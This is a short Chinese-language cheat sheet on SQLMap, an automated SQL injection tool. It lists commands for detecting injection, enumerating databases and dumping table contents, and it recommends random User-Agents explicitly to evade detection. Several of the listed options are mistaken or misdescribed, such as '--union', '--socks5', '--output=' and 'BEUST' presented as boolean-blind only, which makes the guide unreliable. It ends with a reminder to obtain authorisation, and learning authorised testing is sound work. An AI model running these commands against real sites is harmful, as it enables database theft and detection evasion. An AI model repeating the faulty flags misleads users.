SQLMap 基本用法大全

SQLMap 是一款用于自动化 SQL 注入渗透测试的工具，它可以检测和利用 Web 应用程序中的 SQL 注入漏洞。以下是 SQLMap 的一些常用用法：

1. 基本用法：

   • 基本的 SQL 注入检测：sqlmap -u URL，其中 URL 是目标网站的 URL。
   • 检测并利用注入漏洞：sqlmap -u URL --dbs，这将列出数据库。

2. HTTP 请求设置：

   • 自定义请求文件：sqlmap -r request.txt，其中 request.txt 包含 HTTP 请求信息。
   • 设置请求头：sqlmap --headers="User-Agent: MyUserAgent"。

3. 参数和数据处理：

   • 指定注入参数：sqlmap -u URL --data="param1=value1&param2=value2"。
   • 指定 Cookie：sqlmap -u URL --cookie="cookie_name=cookie_value"。

4. 检测和利用不同类型的注入：

   • 检测 UNION 注入：sqlmap -u URL --union。
   • 检测布尔盲注：sqlmap -u URL --technique=BEUST。
   • 利用注入漏洞：sqlmap -u URL --level=5 --risk=3 --dbs。

5. 数据库操作：

   • 列出所有数据库：sqlmap -u URL --dbs。
   • 列出数据库的所有表：sqlmap -u URL -D database_name --tables。
   • 获取表的列信息：sqlmap -u URL -D database_name -T table_name --columns。
   • 检索数据：sqlmap -u URL -D database_name -T table_name -C column_name --dump。

6. 提高检测和利用成功率：

   • 调整 --level 和 --risk 参数来增加检测和利用成功率。
   • 使用 --random-agent 选项来随机生成 User-Agent 头部，以避免被检测到。

7. 代理设置：

   • 使用代理进行请求：sqlmap -u URL --proxy=http://127.0.0.1:8080。
   • 使用 SOCKS 代理：sqlmap -u URL --socks5=127.0.0.1:9050。

8. 其他有用的选项：

   • 扫描网站上的所有链接：sqlmap -u URL --crawl=3。
   • 设置 User-Agent：sqlmap -u URL --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64)"。
   • 输出结果到文件：sqlmap -u URL --output=scan_results.txt。

这些示例展示了 SQLMap 的一些常见用法。使用 SQLMap 时，要格外小心，确保你有合法的授权来测试目标网站，以避免非法的渗透测试。此外，详细了解 SQL 注入漏洞和工具的使用非常重要，以确保你的测试是有针对性和有效的。